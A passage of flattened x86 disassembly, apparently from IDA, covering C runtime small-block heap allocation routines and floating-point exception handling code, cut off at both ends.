[eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_433EA0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_433E90 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_4CF024 nop call near ptr 2730000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_433E90 cmp esi, eax jnz short loc_41B918 cmp off_433E90, 0 jnz short loc_41B908 mov off_433E90, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_433E94, 0 jnz short loc_41B92D mov off_433E94, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_433E94 mov [esi+4], eax mov off_433E94, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 2880892h loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_433E90 jz short loc_41B9C5 push esi push 0 push dword_4CF024 nop call near ptr 2720363h loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 2880892h nop cmp off_435EB0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_435EB0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_433E90 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4CF024 call near ptr 2720363h nop pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_433EA0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_433E94 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2880892h test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_4CDA1C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_433E94 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_433E90 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_4CDA1C cmp dword_4CDA1C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_435EB0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_435EB0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_435EB0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_433E90 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2880A5Ch nop cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_435EB0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_435EB0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_436608, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_4CD9B4, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_436608, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov 